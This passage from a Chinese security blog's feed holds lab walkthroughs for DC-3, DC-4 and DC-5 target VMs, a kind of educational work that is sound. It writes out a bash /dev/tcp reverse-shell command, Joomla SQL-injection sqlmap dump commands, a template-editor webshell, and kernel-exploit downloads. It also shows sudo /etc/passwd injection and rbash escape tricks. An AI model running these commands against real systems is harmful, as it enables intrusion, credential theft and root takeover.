data-src="https://i-blog.csdnimg.cn/direct/34884df104c94b51b8408df0a29ffc47.png"                                     ></p><p>提权成功，在root下找到flag文件</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/917249dd8650432db95f9813a3d204a3.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/21df2908c53044d483e88ab2e9f6ca0e.png"                                     ></p><p>完结撒花！！！！！</p><section class="related-posts-custom" aria-labelledby="related-posts-title"><h2 id="related-posts-title">相关文章</h2><div class="related-posts-list"><a class="related-post-card" href="/2025/06/05/DVWA-CSP-Bypass/"><strong>DVWA CSP Bypass：策略配置、信任边界与绕过条件</strong><span>通过 DVWA 授权环境分析 CSP 配置与绕过条件，说明宽泛来源、内联脚本和受信任端点如何削弱策略，并总结安全配置方法。</span></a><a class="related-post-card" href="/2025/05/30/DVWA-CSRF防护差异/"><strong>DVWA CSRF：不同安全等级下的防护差异</strong><span>基于 DVWA 授权环境比较不同安全等级下的 CSRF 行为，从请求构造、令牌校验和来源限制三个角度理解漏洞与防护。</span></a></div></section>]]>
    </content>
    <id>https://leeei.site/2026/01/28/dc%E7%B3%BB%E5%88%97%E2%80%94%E2%80%94dc5/</id>
    <link href="https://leeei.site/2026/01/28/dc%E7%B3%BB%E5%88%97%E2%80%94%E2%80%94dc5/"/>
    <published>2026-01-27T23:30:56.811Z</published>
    <summary>记录 DC-5 靶机的 Web 参数测试、文件包含与日志写入利用、WebShell 验证以及 Linux 内核提权过程。</summary>
    <title>dc5靶机报告</title>
    <updated>2026-01-27T23:30:56.811Z</updated>
  </entry>
  <entry>
    <author>
      <name>lee</name>
    </author>
    <category term="靶场复现" scheme="https://leeei.site/categories/%E9%9D%B6%E5%9C%BA%E5%A4%8D%E7%8E%B0/"/>
    <category term="DC靶场" scheme="https://leeei.site/tags/DC%E9%9D%B6%E5%9C%BA/"/>
    <category term="Linux" scheme="https://leeei.site/tags/Linux/"/>
    <category term="提权" scheme="https://leeei.site/tags/%E6%8F%90%E6%9D%83/"/>
    <content>
      <![CDATA[<p>先arp-scan -l 扫局域网内存活主机</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/a67283c596f647e1a29ef52171ded76c.png"                                     ></p><p>发现疑似靶机ip，开始探测</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/052ecf4749bd4eec997909320f0eb635.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/ce020f16c2c84f27b739bf68586753a0.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/22a8a8af9e08482192e5a8a79f31e8e3.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/62329a1868b64635b1934600a4618fae.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/a0ab6f38d56d44f9a12d4be094eafa76.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/fbecfd27b9744610bb3068504d87d0ab.png"                                     ></p><p>start attrack攻击最后得到密码happy</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/89d44863aa9e412b9b346d4e1e4276be.png"                                     ></p><p>command进去，发现不同的选项run了之后，select后面会对应一些命令行，所以可以推测run了之后终端会执行对应的命令行</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/154f917222bd453dbab882a7d67757c0.png"                                     ></p><p>所以run的时候抓包看一下，找到了命令行的地方</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/766e3f8885584d828ee276076150f678.png"                                     ></p><p>send to repeater试一下其他命令</p><p>whoami回显成功</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/91d07d65a68f4ad9875c7767f5710af2.png"                                     ></p><p>kali连反弹shell</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/7b48f19527b94c319cb68898e2f17993.png"                                     ></p><p>把bash命令行写到这里面，然后放包</p><p>注意：前面观察ls的时候，数据包里面传输的命令行把空格都换成了加号+</p><p>所以我们的bash命令是这样的</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">bash+-c+&#x27;bash+-i+&gt;&amp;+/dev/tcp/192.168.145.128/1234+0&gt;&amp;1&#x27;</span><br></pre></td></tr></table></figure></div><p>修改之后forward放包</p><p>连接成功</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/2e17aae2f47244898cc51956729f6f0c.png"                                     ></p><p>到处看看有什么有用的</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/4208cc7c03cd4dc9990e02944721e94e.png"                                     ></p><p>几个名字下都是空，jim用户里有东西，继续进到backups里面还有一个old-passwords.bak文件</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/946744475a0341dcbeb9a3ddf2266e4d.png"                                     ></p><p>cat后发现是一个密码列表</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/356574d375bc4e9f8e65df6c616f7803.png"                                     ></p><p>重新开一个攻击终端，把密码列表copy过去</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/1d05a18c6a62493fb2877d7123e6fef6.png"                                     ></p><p>hydra爆破</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/de92150427644430a97083d9dd5c0efb.png"                                     ></p><p>爆破出来jim的密码是jibril04</p><p>远程连接成功，看到回显里面有个提示</p><p><strong>“You have mail”</strong></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/05afce62c2784a3bbca230b7ab8dbe88.png"                                     ></p><p>猜测是不是让找mail文件，ls看一下</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/9d95ef448e2b42618547ed97ff2cf3c3.png"                                     ></p><p>果然有一封来着另一个用户charles的mail</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/e2d7ecb1be544c59ac8484fbe7de30d7.png"                                     ></p><p>给了密码，直接su到charles用户下，切换成功<img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/8f00a65b53c7463085d795d278d1c176.png"                                     ></p><p>我们看一下这个账号能用root权限做什么</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/181b1407e0ff4402a24b631b02b1bc0d.png"                                     ></p><p>这里，说明用户 charles 可以无需密码，以 root 权限执行 &#x2F;usr&#x2F;bin&#x2F;teehee 命令</p><p>开始提权——passwd文件注入提权</p><p>用这个命令添加一个免密的root666用户</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/9b7b437e529e45699b779c47c6a29d3f.png"                                     ></p><p>检查，写入成功了</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/f786ae9a88e7468e883e2df71d07ba94.png"                                     ></p><p>切换过去，成功了</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/f466b6049aa340318c9f747b8f093011.png"                                     ></p><p>找到flag文件<img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/21367127cf154df49f23c361281102a8.png"                                     ></p><p>成功！</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/79f74e61a640415493171091a3b46ae0.png"                                     ></p><p>完结撒花！！！</p><section class="related-posts-custom" aria-labelledby="related-posts-title"><h2 id="related-posts-title">相关文章</h2><div class="related-posts-list"><a class="related-post-card" href="/2025/06/05/DVWA-CSP-Bypass/"><strong>DVWA CSP Bypass：策略配置、信任边界与绕过条件</strong><span>通过 DVWA 授权环境分析 CSP 配置与绕过条件，说明宽泛来源、内联脚本和受信任端点如何削弱策略，并总结安全配置方法。</span></a><a class="related-post-card" href="/2025/05/30/DVWA-CSRF防护差异/"><strong>DVWA CSRF：不同安全等级下的防护差异</strong><span>基于 DVWA 授权环境比较不同安全等级下的 CSRF 行为，从请求构造、令牌校验和来源限制三个角度理解漏洞与防护。</span></a></div></section>]]>
    </content>
    <id>https://leeei.site/2026/01/28/dc%E7%B3%BB%E5%88%97%E2%80%94%E2%80%94dc4/</id>
    <link href="https://leeei.site/2026/01/28/dc%E7%B3%BB%E5%88%97%E2%80%94%E2%80%94dc4/"/>
    <published>2026-01-27T23:30:04.346Z</published>
    <summary>记录 DC-4 靶机从网络发现、命令执行流量分析、凭据查找到无密码 sudo 配置利用的提权过程。</summary>
    <title>dc4打靶报告</title>
    <updated>2026-01-27T23:30:04.346Z</updated>
  </entry>
  <entry>
    <author>
      <name>lee</name>
    </author>
    <category term="靶场复现" scheme="https://leeei.site/categories/%E9%9D%B6%E5%9C%BA%E5%A4%8D%E7%8E%B0/"/>
    <category term="DC靶场" scheme="https://leeei.site/tags/DC%E9%9D%B6%E5%9C%BA/"/>
    <category term="Linux" scheme="https://leeei.site/tags/Linux/"/>
    <category term="Joomla" scheme="https://leeei.site/tags/Joomla/"/>
    <content>
      <![CDATA[<p>先arp-scan -l扫，发现疑似靶机ip——192.168.145.185</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/44849b2f93a94525bacc07e4de5157af.png"                                     ></p><p>nmap进一步扫</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/2a53cd79a30b437f9ab591dbc8466792.png"                                     ></p><p>分析一下回显：</p><p>只开了一个80端口，服务是http，服务是Apache&#x2F;2.4.18 (Ubuntu)，操作系统是Linux 3.2 - 4.9，</p><p>CMS（内容管理系统）是Joomla！</p><p>我们打开网页看看，提示本次只存在一个flag，能在提权到root后拿到</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/85b5d4457e2f472cb3b1c5ff2a120020.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/6f822321eea748719ad1279470a3e479.png"                                     ></p><p>nikto（网站安全扫描工具）扫一下，可以帮助我们得到敏感路径，安全问题，以及默认文件</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/e6dba41802984286916060ac557561f9.png"                                     ></p><p>分析回显：</p><p>1：apache是2.4.18的，是2016版本，较老（2.4.54是2023的）</p><p>2：http debug可能开启，它的作用是让服务器返回调试信息，我们可以通过</p><p>curl -X DEBUG url ，去测试</p><p>3：安全头缺失</p><p>4：敏感目录暴露：</p><ul><li><code>/administrator/</code> → 登录页面</li><li><code>/tmp/</code> → 尝试上传文件</li><li><code>/includes/</code> → 找配置文件（数据库密码）</li><li>&#x2F;bin&#x2F; ➡可能包含脚本文件</li></ul><p>我们这用joomscan扫以下版本号</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">joomscan --url http://192.168.145.185</span><br></pre></td></tr></table></figure></div><p>回显是3.7.0的版本</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/8482b552243e40aca29b4d4afaaec823.png"                                     ></p><p>并且暴露出来几个目录列表</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/7d58daf31fac4bb6ac08c3a5189492ac.png"                                     ></p><p>ps：补充几个常扫CMS的工具</p><p>joomscan——joomal</p><p>wpscan——wordpress</p><p>droopescan——drupal</p><p>我们挨个进去看看：</p><p>第一个：<a class="link"   href="http://192.168.145.185/administrator/components" >http://192.168.145.185/administrator/components<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/ee857c514ddc451887e7a2f48ea126a8.png"                                     ></p><p>第二个：<a class="link"   href="http://192.168.145.185/administrator/modules" >http://192.168.145.185/administrator/modules<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/121c095930b246f8ab0a33b147fc9995.png"                                     ></p><p>第三个：<a class="link"   href="http://192.168.145.185/administrator/templates" >http://192.168.145.185/administrator/templates<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/be674e0677c04b6ca532a9e1dad363f1.png"                                     ></p><p>第四个：<a class="link"   href="http://192.168.145.182/images/banners/" >http://192.168.145.182/images/banners/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/d9bfee6a3c774352b46b29cf1b318303.png"                                     ></p><p>然后我们用searchsploit看看有没有可以利用的攻击点，看到第一个漏洞就是sql漏洞</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/b4e9fee97e304fa096badeda4d01dad0.png"                                     ></p><p>我们把这个漏洞文件复制到当前目录然后cat一下</p><p>我们来分析一下这个文档，最上面的几个#后标注了这个sql漏洞的基本信息，然后给了一个url示例，接着是sqlmap的攻击示例</p><p>最下面是通过跑sqlmap本次攻击用到的几种方法——布尔盲注，报错注，时间盲注</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/d48a1b6e1518464fa16602cf414067d1.png"                                     ></p><p>先试试url是否有不一样的回显，别忘了localhost换成靶机ip</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">URL Vulnerable: http://localhost/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list[fullordering]=updatexml%27</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/d6f9e675d70e4222ba4cf8e0c3ddfc0d.png"                                     ></p><p>有回显，可以尝试sqlmap了</p><p>“<a class="link"   href="http://192.168.145.185/index.php?option=com_fields&view=fields&layout=modal&list%5Bfullordering%5D=updatexml" >http://192.168.145.185/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list[fullordering]=updatexml<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a>“ –risk&#x3D;3 –level&#x3D;5 –random-agent –dbs -p list[fullordering]</p><p>成功爆出数据库名</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/b0e1899f09b749319526e108620a3e98.png"                                     ></p><p>去看joomladb的所有表，倒数第三个看到了users</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sqlmap -u &quot;http://192.168.145.185/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list[fullordering]=updatexml&quot; -D joomladb --tables</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/be9b1de4c8b0488cb5cf626b1a7c97e7.png"                                     ><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/d1016aced01f4763b4782291fd7fde01.png"                                     ></p><p>接着从users表里面爆列</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sqlmap -u &quot;http://192.168.145.185/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list[fullordering]=updatexml&quot; --risk=3 -p list[fullordering] -D &quot;joomladb&quot; --tables -T &quot;#__users&quot; --columns</span><br></pre></td></tr></table></figure></div><p>出来六列</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/4a89928141eb4145b9ae8bac2a67819e.png"                                     ></p><p>只看名字和密码两列</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sqlmap -u &quot;http://192.168.145.185/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list[fullordering]=updatexml&quot; --risk=3 -p list[fullordering] -D &quot;joomladb&quot; --tables -T &quot;#__users&quot; --columns -C &quot;username,password&quot; --dump --batch</span><br></pre></td></tr></table></figure></div><p>出来了admin和admin的哈希加密密码wsl</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/9863e363cdec4dc39a81773c54a3d87a.png"                                     ></p><p>然后随便创建一个txt文件把哈希数据存进去，用john来爆破密码</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/b3330de1bb1d422a89e74dedd439d2a7.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/2c2df5d70bee490c87f7092ba0c50519.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/a1ddeb2b58814468b27f3403b05a3f75.png"                                     ></p><p>得到密码snoopy</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/d742cf8b20a64ea9817a3873fb7003be.png"                                     ></p><p>去dc3页面上看登录</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/bb741dc553134db99827b8a30f39bf86.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/51d7a69b105948fc82b4d1110aec2cf5.png"                                     ></p><p>如果很了解joomla框架的话，可以知道后台存在模板管理器，我们通过模板编辑功能可以写入恶意代码</p><p>位置在&#x2F;templates&#x2F;templates</p><p>我们在Extensions里面找到了模板文件</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/d96d4a1ce18f486a877da467bd25b9e8.png"                                     ></p><p>进入第一个，这个Beezes3 detail and files，它是joomla的模板编辑入口，可以查看，编辑模板，上传文件</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/a7c66ec6986a442a925d1f6af6d76b0e.png"                                     ></p><p>可以看到创建新文件的位置，我们创建新文件写入一句话木马</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/325c86c539164c4993c37565a3079c09.png"                                     ></p><p>在分类里面创建一个php文件，获得一个11.php</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/0f7f0a52d9ac4d0184e361a942c35bd3.png"                                     ></p><p>save创建</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/3462fb0db61b4a118923a74d90e8f727.png"                                     ></p><p>蚁剑连接，joomla的模块会单独放在一个templates文件夹里，所以我们根据这个路径连接蚁剑</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/861c836b5c884f1db9f0d829ed8aea04.png"                                     ></p><p>连接成功，在kali里面建立反弹shell，蚁剑目标机虚拟终端bash连接</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/587c63b069184528b8f8433733e9013c.png"                                     ><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/7cc49b48c0284b189be9ad92f1cd88d9.png"                                     ></p><p>下一步就是提权</p><p>再开一个攻击端口，导到tmp目录下，用wget下载linux-exploit-suggester</p><p>注意，这里用的是https网址，所以我们需要加上一个无需检查证书直接下载的参数——–no-check-certificate</p><p>路径如下：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/8906c407894a4aacbb85c8d4167e8191.png"                                     ></p><p>然后把我们攻击机的http服务开开</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/655371a0359c4d0e9c7581a558754571.png"                                     ></p><p>靶机反弹shell也导到tmp目录里<br>wget <a class="link"   href="http://192.168.145.128:8000/linux-exploit-suggester.sh%EF%BC%8C%E9%80%9A%E8%BF%87%E6%88%91%E4%BB%AC%E7%9A%84kali%E6%9D%A5%E4%B8%8B%E8%BD%BD" >http://192.168.145.128:8000/linux-exploit-suggester.sh，通过我们的kali来下载<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/0deb7917036c4d46903496a7afa103a0.png"                                     ></p><p>然后加入可执行权限</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">chmod +x linux-exploit-suggester.sh</span><br></pre></td></tr></table></figure></div><p>然后执行这个这个脚本文件，爆出漏洞列表</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./linux-exploit-suggester.sh</span><br></pre></td></tr></table></figure></div><p>这把不用脏牛，看很多教程里大神用了双重释放漏洞，这里也用这个漏洞复现提权</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/94ea12aaeb374855b836c4d491bc3967.png"                                     ></p><p>为了方便我这里直接在攻击机里面下载解压了</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">下载</span><br><span class="line">wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip</span><br><span class="line">解压</span><br><span class="line">unzip 39771.zip</span><br><span class="line">查看</span><br><span class="line">ls -la 39772/</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/e81161c44b7b47149d3815b7e4099151.png"                                     ></p><p>解压exploit的tar文件</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/32c51d0a48844396b464d45008c49617.png"                                     ></p><p>cd过去，然后随便开个端口</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/26f841a7a4114a768be22d7022469838.png"                                     ></p><p>还是wget下载文件，执行（忽略警告）</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/ee4898edcd604e1ca34a3f46542bb63b.png"                                     ></p><p>提权成功！</p><p>python伪终端，然后cd到root</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/93bac7de6ad3497e9f6d81d5db54b8e5.png"                                     ></p><p>发现the-flag.txt文件</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/ff65548c60dd42928f9f0f0265a5b10f.png"                                     ></p><p>成功找到flag</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/eda7626410354fc2b19531c042c03ffc.png"                                     ></p><p>完结撒花！！</p><section class="related-posts-custom" aria-labelledby="related-posts-title"><h2 id="related-posts-title">相关文章</h2><div class="related-posts-list"><a class="related-post-card" href="/2025/06/05/DVWA-CSP-Bypass/"><strong>DVWA CSP Bypass：策略配置、信任边界与绕过条件</strong><span>通过 DVWA 授权环境分析 CSP 配置与绕过条件，说明宽泛来源、内联脚本和受信任端点如何削弱策略，并总结安全配置方法。</span></a><a class="related-post-card" href="/2025/05/30/DVWA-CSRF防护差异/"><strong>DVWA CSRF：不同安全等级下的防护差异</strong><span>基于 DVWA 授权环境比较不同安全等级下的 CSRF 行为，从请求构造、令牌校验和来源限制三个角度理解漏洞与防护。</span></a></div></section>]]>
    </content>
    <id>https://leeei.site/2026/01/28/dc%E7%B3%BB%E5%88%97%E2%80%94%E2%80%94dc3/</id>
    <link href="https://leeei.site/2026/01/28/dc%E7%B3%BB%E5%88%97%E2%80%94%E2%80%94dc3/"/>
    <published>2026-01-27T23:22:43.022Z</published>
    <summary>记录 DC-3 靶机的 Joomla 识别、组件与模板入口排查、SQL 注入利用及内核提权过程，整理关键工具和参数。</summary>
    <title>dc3靶机报告</title>
    <updated>2026-01-27T23:22:43.022Z</updated>
  </entry>
  <entry>
    <author>
      <name>lee</name>
    </author>
    <category term="靶场复现" scheme="https://leeei.site/categories/%E9%9D%B6%E5%9C%BA%E5%A4%8D%E7%8E%B0/"/>
    <category term="DC靶场" scheme="https://leeei.site/tags/DC%E9%9D%B6%E5%9C%BA/"/>
    <category term="Linux" scheme="https://leeei.site/tags/Linux/"/>
    <category term="提权" scheme="https://leeei.site/tags/%E6%8F%90%E6%9D%83/"/>
    <content>
      <![CDATA[<p>总结：</p><ul><li>官网提示需要在靶机的host文件中添加靶机映射</li></ul><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim /etc/hosts</span><br></pre></td></tr></table></figure></div><p>其中etc目录中包含了几乎所有系统服务和程序的配置文件，hosts是本地域名解析文件，当浏览器拿到一个域名，会优先去本地查找域名解析，观察其对应ip</p><p>vim编辑器添加映射</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/dd91d30ee8e144d6a3f0f405d6b7611f.png"                                     ></p><p>补充：（cat &#x2F;etc&#x2F;passwd可查看用户列表）</p><ul><li>*<em>rbash与&#x2F;bin&#x2F;bash</em></li></ul><p>前者相当于试用版shell，受限更多，像一个小笼子，要想办法逃逸到&#x2F;bin&#x2F;bash，之后再进一步提权</p><p>学习一些常用的逃逸手段：</p><p>1：看”&#x2F;“有没有被允许使用，允许直接用&#x2F;bin&#x2F;bash(注：本节尝试失败，限制图如下)</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/e95221322e4643188eaabe12de4862f7.png"                                     ></p><p>2.BASH_CMDS环境变量逃逸（本节可用）</p><p>ps：关联数组就是用文字命名的数组</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">BASH_CMDS[a]=&#x27;/bin/sh;a&#x27;</span><br><span class="line">⬇</span><br><span class="line">#BASH_CMDS 是 Bash 的一个关联数组，用于存储命令别名</span><br><span class="line">#[a]=&#x27;/bin/sh——创建一个叫a的命令，&#x27;/bin/sh;a&#x27; 是这个别名对应的值</span><br><span class="line">#/bin/sh意思是启动一个shell</span><br><span class="line">#;命令分隔符</span><br><span class="line">#a再次执行a命令，，形成一个循环（此时以及在新的shell里面了）</span><br><span class="line">⬇</span><br><span class="line">#修复环境变量</span><br><span class="line">export PATH=$PATH:/bin/</span><br><span class="line">export PATH=$PATH:/usr/bin</span><br><span class="line">#把一些位于 /bin/ 和 /usr/bin/ 目录的命令路径（如 ls, cat, whoami）添加到 PATH 中，系统才能找到这些命令</span><br></pre></td></tr></table></figure></div><p>3：vi&#x2F;vim编辑器逃逸（本节可用）</p><p>vi&#x2F;vim 通常被允许在 rbash 环境中使用</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">vi/vim</span><br><span class="line">#启动编译器</span><br><span class="line">⬇</span><br><span class="line">:set shell=/bin/sh</span><br><span class="line">#:set：vi/vim 的设置命令</span><br><span class="line">#shell=/bin/sh：告诉 vi/vim 当执行外部命令时，使用 /bin/sh 作为 shell，改变了 vi/vim 的默认 